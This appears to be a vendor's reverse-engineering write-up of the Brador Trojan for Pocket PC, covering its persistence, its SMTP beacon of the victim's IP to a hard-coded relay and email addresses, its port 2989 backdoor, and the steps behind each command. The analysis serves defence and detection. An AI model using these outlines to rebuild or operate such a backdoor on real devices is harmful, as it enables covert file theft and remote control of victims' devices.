- Back to Work
- The Annotated Disassembly
- Summary of the Black Box Analysis
- Source Code
- Conclusion
Like this article? We recommend
Like this article? We recommend
Like this article? We recommend
Summary of the Black Box Analysis
The following section summarizes the findings of our "black box" reverse-engineering analysis (performed before we had access to the source code—which became available right at press time).
Brador is a two-part program. Like most Trojans, it has corresponding client and server parts that communicate with each other to obtain file listings, to upload and download files, to execute programs, and to send pop-up messages to the infected computer's screen. The following section details Brador's features.
Infection
Brador is not a self-replicating form of malware. It doesn't magically place itself into your PDA or automatically search a network to find potential targets. An unsuspecting user must receive the server portion of the Trojan via email, download it from the Internet, or receive it from a "friend." Once the program is on the PDA, it must then be executed manually. At this time, Brador installs the server portion of the Trojan into the Windows CE StartUp folder to ensure continued execution. It then waits for a connection from the client. The following steps outline the general flow of execution:
Set up \Windows\StartUp\svchost.exe value for new file.
Set up CreateFile parameters.
CreateFile.
If CreateFile fails, the file probably exists, so skip to the next step.
Else set up WriteFile parameters.
WriteFile in chunks.
CloseHandle.
This process is similar to the PC world of Trojans. While there are some worms/Trojans that actively exploit weaknesses in PC services, Brador is relatively simple.
Post Infection/Execution Routine
Upon execution, Brador runs through a small routine to inform the Trojan's creator of its infection, and attempts to create a copy of itself in the \Windows\StartUp folder of the PDA as a file named svchost.exe. If this file already exists, meaning that the Trojan already performed this action, the CreateFile function will fail, causing the Trojan to skip to the next part of the program.
Once svchost.exe is created, the program jumps into a routine to inform the creator of its existence. It does this by connecting to an SMTP server or relay (194.67.23.111) from port 2989 (0xBAD) and passing an email message in the following format:
MAIL FROM: BR@MAIL.RU RCPT TO: BROKENSWORD@UKR.NET DATA: Victim's IP address + CR/LF QUIT
The Trojan then closes the email connection and reopens port 2989 in a "listen" mode. At this point, the Trojan will accept up to five connections and will take incoming requests from the client-side program operated by the attacker. The following steps outline the program's code:
WSAStartup (sockets start).
Create socket.
Set up input/output of socket.
Bind to port 2989.
Connect to 194.67.23.111.
Get local IP and place in buffer.
Connect to SMTP server and send email with victim's IP information.
Close connection.
Reopen connection in listen mode.
Trojan Commands
Once the Trojan is listening for a client connection, it won't be noticed by the victim. There's no indication that the Trojan is operating except by some type of port-monitoring program or an observant user. Unfortunately, unlike its desktop equivalent, the Pocket PC doesn't include a netstat feature. However, you can detect the Trojan's port using Airscanner's Pocket PC firewall (download the full version, free for personal use, from the Airscanner web site).
Figure 1 shows the Airscanner firewall's real-time connection monitor displaying the Trojan listening on open ports. This might be your first clue to an unknown Trojan infection or other backdoor on your Pocket PC.
)
Figure
1 Airscanner firewall with real-time port listing (note the 2989 open
port).
Assuming that the PDA is not behind a firewall, the attacker should be able to connect to port 2989 and send it one of several commands. However, given the fact that many PDA users are behind some form of NAT firewall or proxy server, the aggregate risk of remote connection from the Internet is somewhat reduced—although this is changing.
If a remote connection can be made to the infected PDA, there are no authentication checks in place. This means that anyone with a client can operate the Trojan. In fact, it's possible to control certain parts of the PDA Trojan via a command-line Telnet session, if you know the correct commands to send to the PDA.
Prior to any command being executed, it's first validated against a list of pre-coded command letters: dgrpmf. The following steps outline the pre-command execution process:
Load string dgrpmf.
Receive data from client.
Get client's command.
Check whether the command is a directory listing.
Checks whether the command is grpmf and call function based on offset of the letter.
Directory Listing (d)
This command retrieves a directory listing of files in a specified folder. Using a simple FindFirstFile and FindNextFile routine, the Trojan iterates through files in the designated folder and passes their names back to the client program:
Set up parameters for FindFirstFile.
FindFirstFile.
Test whether there's a file.
If not, jump to end, send OK, and return to listener.
Else buffer filename.
Send filename.
FindNextFile.
Test whether there's a file.
If not, jump to end, send OK, and return to listener.
Else repeat filename buffer and send.
Get File (g)
The g command downloads a specified file in 1024-byte chunks from the Trojan server. The client-side program simply reassembles the data chunks into their original form by appending each new buffer onto the end of the file. This command is being reported inaccurately (by other antivirus companies) as the "uploads a file" command. Figure 2 shows the results of using a Telnet session as a client to request a test.txt file from the root directory of an infected PDA. This file was padded with numerous 0x20 characters to test the 1024-byte limit.
)
Figure
2 Using the g command via Telnet to download a file from the
PDA.
The following is an outline of the code responsible for this command. Note the use of the CreateFile function, which actually is used to access an existing file, rather than to create a file. Also note that this command is the only command that doesn't return an OK when complete.
Set up parameters for CreateFile.
CreateFile.
If the file doesn't exist or is in use, exit.
Else GetFileSize.
Send back file size.
Read1024 bytes of data.
Send back 1024 bytes of data.
When complete, CloseHandle and return to listener.
Execute Process (r)
The r command executes a "standard" process on the PDA as defined by the Trojan. This is performed using the CreateProcessW command, which has a unique twist because it will locate the file based on the following four checks (as per MSDN):
Path specified in lpApplicationName, if one is listed
Windows directory (Windows)
Root directory in the object store (\)
OEM-specified search path
The following steps outline the command's code process:
Set up parameters for CreateProcess.
CreateProcess.
If successful, send back OK.
Else return to listener.
Put File (p)
This command uploads a file in 1024-byte chunks to the infected PDA. It's basically the exact opposite of the "get file" command previously discussed. The following steps outline the command's code:
Set up parameters for CreateFile.
CreateFile.
If unsuccessful, jump back to listener.
Else send back OK.
Wait for incoming data.
Get file size.
Wait for incoming data.
Receive 1024-byte chunk of data.
Setup parameters for WriteFile.
WriteFile.
Check for more data.
If no more, send OK and return to listener.
Message Box (m)
The m command tells the Trojan to create a pop-up with a specified message on the user's screen. The title of the pop-up is hardcoded as "Hi," with an OK button in the upper-right corner to close the window. The message is posted in the center of the pop-up box. Figure 3 shows an example of a pop-up as created by the Brador Trojan.
)
Figure
3 Using Brador to create a pop-up message box.
The following steps outline the code portion of this function:
Set R0 = 0.
Set R1 = Message in Unicode format.
Set R2 = "Hi."
Set R3 = MB_OK (message box with OK button).
Call MessageBox.
Send OK back to client.
Return to listener.
Close Session (f)
The f command simply closes the connection between the client and server. Once the connection is closed, the process is passed back to the Trojan, where it sets up a new listener. The following steps outline the code responsible for this command:
Send "Connection Closed" to client.
Close socket.
Jump back to new listener.